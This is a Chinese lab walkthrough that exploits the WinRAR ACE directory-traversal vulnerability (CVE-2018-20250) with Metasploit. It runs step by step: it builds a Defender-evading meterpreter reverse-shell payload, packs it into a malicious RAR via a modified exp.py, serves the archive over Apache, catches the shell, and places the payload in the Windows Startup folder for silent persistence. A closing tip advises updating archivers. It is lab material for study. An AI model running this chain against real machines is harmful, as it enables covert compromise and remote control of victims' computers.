基于MSF的WinRAR目录穿越漏洞实验
实验目的
通过打开rar文件,获取到目标机shell。
实验原理
该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。该动态链接库的作用是处理 ACE 格式文件。而在解压处理过程中存在一处目录穿越漏洞,允许解压过程写入文件至开机启动项,导致代码执行。
实验环境
1.操作系统
操作机:kali
用户:root
密码:123456
目标机:win7
2.影响版本
WinRAR < 5.70
Beta 1 Bandizip < = 6.2.0.0
好压(2345压缩) < = 5.9.8.10907
360压缩 < = 4.0.0.1170
实验步骤
步骤1:使用metasploit5生成免杀payload
1.1.在在kali Linux中输入msfconsole命令启动,Metasploit 在Metasploit中依次输入
use evasion/windows/windows_defender_exe
show info
set filename WinRAR.exe
set payload windows/meterpreter/reverse_tcp
图1
图2
1.2.修改配置生成文件,注意文件生成位置。
set lhost 10.143.0.13 此处为操作机ip
set lport 12345
run
图3
1.3.修改exp文件,将CVE文件解压,进入目录,将exp.py中的evil_filename"的值改为"WinRAR.exe",将target_filename的值改为".\hi.exe,修改python执行命令"py -3"改为"python3"
unzip CVE-2018-20250-master.zip
cd CVE-2018-20250-master
vim exp.py
图4
图5
1.4.将刚才使用Metasploit生成的WinRAR.exe文件复制到下载的exp文件夹内,使用python exp.py命令生成恶意程序test.rar 注意:执行此命令需要python3以上的环境
cp /root/.msf4/local/WinRAR.exe /root/CVE-2018-20250-master/
python3 exp.py
图6
1.5.将生成的文件放入到apache下,供目标机下载使用
mv test.rar /var/www/html/
service apache2 restart
图7
步骤2:监听操作机,获取shell
2.1.目标机访问操作机ip/test.rar进行下载,发现内有3个文件
图7
2.2.切换到操作机,使用metasploit监听目标机,输入以下命令
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 10.143.0.21
set lport 12345
run
图8
2.3.切换到目标机双击hi.exe文件之后,kali会收到会话,即可获取目标机权限。
图9
2.4.我们将病毒文件直接解压在压缩文件解压的目标文件夹中并手动运行的,其实我们是可以通过修改exp.py文件中target_filename的值来修改病毒文件解压出来的位置,例如对win7系统的靶机,我们可以将值修改为r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe",这样病毒文件就会在下次开机是自动启动,悄无声息的完成对电脑的攻击。
2.5.大家可以留意一下自己电脑中压缩软件的版本,选择最新版本的软件即可防止此类攻击,同时也要养成好的习惯,不随意下载和使用不明来源的压缩文件.